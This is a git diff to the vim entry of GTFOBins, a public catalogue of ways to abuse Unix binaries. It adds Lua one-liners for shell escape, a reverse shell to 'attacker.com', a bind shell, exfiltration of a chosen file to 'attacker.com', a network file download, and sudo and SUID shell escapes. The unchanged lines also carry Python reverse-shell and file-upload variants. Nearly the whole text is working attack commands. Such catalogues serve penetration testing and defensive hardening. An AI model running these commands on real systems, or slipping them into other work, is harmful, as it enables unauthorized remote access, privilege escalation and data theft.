diff --git a/_gtfobins/vim.md b/_gtfobins/vim.md index 9708f3a..0d33dde 100644 --- a/_gtfobins/vim.md +++ b/_gtfobins/vim.md @@ -8,6 +8,8 @@ functions: :shell - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' + - description: This requires that `vim` is compiled with Lua support. + code: vim -c ':lua os.execute("reset; exec sh")' reverse-shell: - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. code: | @@ -18,6 +20,29 @@ functions: [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh") vim.command(":q!")' + non-interactive-reverse-shell: + - description: Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed. + code: | + export RHOST=attacker.com + export RPORT=12345 + vim -c ':lua local s=require("socket"); local t=assert(s.tcp()); + t:connect(os.getenv("RHOST"),os.getenv("RPORT")); + while true do + local r,x=t:receive();local f=assert(io.popen(r,"r")); + local b=assert(f:read("*a"));t:send(b); + end; + f:close();t:close();' + non-interactive-bind-shell: + - description: Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed. + code: | + export LPORT=12345 + vim -c ':lua local k=require("socket"); + local s=assert(k.bind("*",os.getenv("LPORT"))); + local c=s:accept(); + while true do + local r,x=c:receive();local f=assert(io.popen(r,"r")); + local b=assert(f:read("*a"));c:send(b); + end;c:close();f:close();' file-upload: - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. code: | @@ -36,6 +61,19 @@ functions: else: import SimpleHTTPServer as s, SocketServer as ss ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever() vim.command(":q!")' + - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed. + code: | + export RHOST=attacker.com + export RPORT=12345 + export LFILE=file_to_send + vim -c ':lua local f=io.open(os.getenv("LFILE"), 'rb') + local d=f:read("*a") + io.close(f); + local s=require("socket"); + local t=assert(s.tcp()); + t:connect(os.getenv("RHOST"),os.getenv("RPORT")); + t:send(d); + t:close();' file-download: - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request. code: | @@ -46,6 +84,18 @@ functions: else: import urllib as r r.urlretrieve(e["URL"], e["LFILE"]) vim.command(":q!")' + - description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed. + code: | + export LPORT=12345 + export LFILE=file_to_save + vim -c ':lua local k=require("socket"); + local s=assert(k.bind("*",os.getenv("LPORT"))); + local c=s:accept(); + local d,x=c:receive("*a"); + c:close(); + local f=io.open(os.getenv("LFILE"), "wb"); + f:write(d); + io.close(f);' file-write: - code: | vim file_to_write @@ -64,7 +114,12 @@ functions: - code: sudo vim -c ':!/bin/sh' - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' + - description: This requires that `vim` is compiled with Lua support. + code: sudo vim -c ':lua os.execute("reset; exec sh")' capabilities: - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' + limited-suid: + - description: This requires that `vim` is compiled with Lua support. + code: ./vim -c ':lua os.execute("reset; exec sh")' ---